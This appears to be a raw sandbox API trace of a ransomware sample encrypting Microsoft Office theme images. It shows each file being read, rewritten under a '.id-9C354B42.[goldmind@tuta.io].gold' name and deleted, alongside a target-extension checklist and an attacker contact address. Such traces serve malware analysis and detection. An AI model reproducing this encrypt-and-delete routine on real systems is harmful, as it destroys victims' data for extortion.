GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.563] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.563] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.568] GetLastError () returned 0x0 [0042.568] ReadFile (in: hFile=0x19c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x90f8, lpOverlapped=0x0) returned 1 [0042.586] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x9100, lpOverlapped=0x0) returned 1 [0042.587] ReadFile (in: hFile=0x19c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.587] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.587] SetEndOfFile (hFile=0x1fc) returned 1 [0042.587] CloseHandle (hObject=0x1fc) returned 1 [0042.587] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.587] SetEndOfFile (hFile=0x19c) returned 1 [0042.588] CloseHandle (hObject=0x19c) returned 1 [0042.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.588] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0042.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0042.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0042.589] lstrlenW (lpString=".doc") returned 4 [0042.589] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.589] lstrlenW (lpString=".docx") returned 5 [0042.589] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.589] lstrlenW (lpString=".pdf") returned 4 [0042.589] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.589] lstrlenW (lpString=".xls") returned 4 [0042.589] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.589] lstrlenW (lpString=".xlsx") returned 5 [0042.589] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.589] lstrlenW (lpString=".ppt") returned 4 [0042.589] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0042.589] lstrlenW (lpString=".zip") returned 4 [0042.589] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.589] lstrlenW (lpString=".rar") returned 4 [0042.589] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.589] lstrlenW (lpString=".bz2") returned 4 [0042.589] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.589] lstrlenW (lpString=".7z") returned 3 [0042.589] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0042.589] lstrlenW (lpString=".dbf") returned 4 [0042.589] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0042.589] lstrlenW (lpString=".1cd") returned 4 [0042.589] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0042.589] lstrlenW (lpString=".jpg") returned 4 [0042.589] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0042.589] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0042.589] lstrlenW (lpString=".doc") returned 4 [0042.589] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.589] lstrlenW (lpString=".docx") returned 5 [0042.589] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.589] lstrlenW (lpString=".pdf") returned 4 [0042.589] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.589] lstrlenW (lpString=".xls") returned 4 [0042.589] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.589] lstrlenW (lpString=".xlsx") returned 5 [0042.589] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.589] lstrlenW (lpString=".ppt") returned 4 [0042.590] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0042.590] lstrlenW (lpString=".zip") returned 4 [0042.590] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.590] lstrlenW (lpString=".rar") returned 4 [0042.590] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.590] lstrlenW (lpString=".bz2") returned 4 [0042.590] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.590] lstrlenW (lpString=".7z") returned 3 [0042.590] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0042.590] lstrlenW (lpString=".dbf") returned 4 [0042.590] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0042.590] lstrlenW (lpString=".1cd") returned 4 [0042.590] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0042.590] lstrlenW (lpString=".jpg") returned 4 [0042.590] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.590] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.590] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.590] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=53115) returned 1 [0042.590] CloseHandle (hObject=0x19c) returned 1 [0042.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0042.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.591] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.591] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.591] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.591] GetLastError () returned 0x0 [0042.591] ReadFile (in: hFile=0x19c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0042.599] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0042.600] ReadFile (in: hFile=0x19c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.600] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.600] SetEndOfFile (hFile=0x1fc) returned 1 [0042.600] CloseHandle (hObject=0x1fc) returned 1 [0042.601] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.601] SetEndOfFile (hFile=0x19c) returned 1 [0042.601] CloseHandle (hObject=0x19c) returned 1 [0042.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.602] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0042.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0042.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0042.602] lstrlenW (lpString=".doc") returned 4 [0042.602] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.602] lstrlenW (lpString=".docx") returned 5 [0042.602] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.602] lstrlenW (lpString=".pdf") returned 4 [0042.602] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.602] lstrlenW (lpString=".xls") returned 4 [0042.602] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.602] lstrlenW (lpString=".xlsx") returned 5 [0042.602] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.602] lstrlenW (lpString=".ppt") returned 4 [0042.602] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0042.602] lstrlenW (lpString=".zip") returned 4 [0042.602] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.602] lstrlenW (lpString=".rar") returned 4 [0042.602] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.602] lstrlenW (lpString=".bz2") returned 4 [0042.602] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.602] lstrlenW (lpString=".7z") returned 3 [0042.602] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0042.602] lstrlenW (lpString=".dbf") returned 4 [0042.602] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0042.602] lstrlenW (lpString=".1cd") returned 4 [0042.602] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0042.602] lstrlenW (lpString=".jpg") returned 4 [0042.602] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0042.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0042.603] lstrlenW (lpString=".doc") returned 4 [0042.603] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.603] lstrlenW (lpString=".docx") returned 5 [0042.603] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.603] lstrlenW (lpString=".pdf") returned 4 [0042.603] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.603] lstrlenW (lpString=".xls") returned 4 [0042.603] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.603] lstrlenW (lpString=".xlsx") returned 5 [0042.603] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.603] lstrlenW (lpString=".ppt") returned 4 [0042.603] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0042.603] lstrlenW (lpString=".zip") returned 4 [0042.603] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.603] lstrlenW (lpString=".rar") returned 4 [0042.603] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.603] lstrlenW (lpString=".bz2") returned 4 [0042.603] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.603] lstrlenW (lpString=".7z") returned 3 [0042.603] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0042.603] lstrlenW (lpString=".dbf") returned 4 [0042.603] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0042.603] lstrlenW (lpString=".1cd") returned 4 [0042.603] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0042.603] lstrlenW (lpString=".jpg") returned 4 [0042.603] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.603] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.603] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.604] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=31975) returned 1 [0042.604] CloseHandle (hObject=0x19c) returned 1 [0042.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0042.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.605] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.605] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0042.605] GetLastError () returned 0x0 [0042.605] ReadFile (in: hFile=0x19c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x7ce7, lpOverlapped=0x0) returned 1 [0042.607] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0042.608] ReadFile (in: hFile=0x19c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.608] WriteFile (in: hFile=0x1fc, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.608] SetEndOfFile (hFile=0x1fc) returned 1 [0042.608] CloseHandle (hObject=0x1fc) returned 1 [0042.608] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.608] SetEndOfFile (hFile=0x19c) returned 1 [0042.609] CloseHandle (hObject=0x19c) returned 1 [0042.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.609] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0042.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0042.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0042.609] lstrlenW (lpString=".doc") returned 4 [0042.609] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.609] lstrlenW (lpString=".docx") returned 5 [0042.610] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.610] lstrlenW (lpString=".pdf") returned 4 [0042.610] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.610] lstrlenW (lpString=".xls") returned 4 [0042.610] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.610] lstrlenW (lpString=".xlsx") returned 5 [0042.610] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.610] lstrlenW (lpString=".ppt") returned 4 [0042.610] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0042.610] lstrlenW (lpString=".zip") returned 4 [0042.610] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.610] lstrlenW (lpString=".rar") returned 4 [0042.610] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.610] lstrlenW (lpString=".bz2") returned 4 [0042.610] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.610] lstrlenW (lpString=".7z") returned 3 [0042.610] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0042.610] lstrlenW (lpString=".dbf") returned 4 [0042.610] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0042.610] lstrlenW (lpString=".1cd") returned 4 [0042.610] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0042.610] lstrlenW (lpString=".jpg") returned 4 [0042.610] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0042.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0042.610] lstrlenW (lpString=".doc") returned 4 [0042.610] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.610] lstrlenW (lpString=".docx") returned 5 [0042.610] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.610] lstrlenW (lpString=".pdf") returned 4 [0042.610] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.610] lstrlenW (lpString=".xls") returned 4 [0042.610] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.610] lstrlenW (lpString=".xlsx") returned 5 [0042.610] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.610] lstrlenW (lpString=".ppt") returned 4 [0042.610] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0042.610] lstrlenW (lpString=".zip") returned 4 [0042.610] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.610] lstrlenW (lpString=".rar") returned 4 [0042.610] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.610] lstrlenW (lpString=".bz2") returned 4 [0042.611] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.611] lstrlenW (lpString=".7z") returned 3 [0042.611] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0042.611] lstrlenW (lpString=".dbf") returned 4 [0042.611] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0042.611] lstrlenW (lpString=".1cd") returned 4 [0042.611] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0042.611] lstrlenW (lpString=".jpg") returned 4 [0042.611] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.611] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.611] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.611] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=4100) returned 1 [0042.611] CloseHandle (hObject=0x19c) returned 1 [0042.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 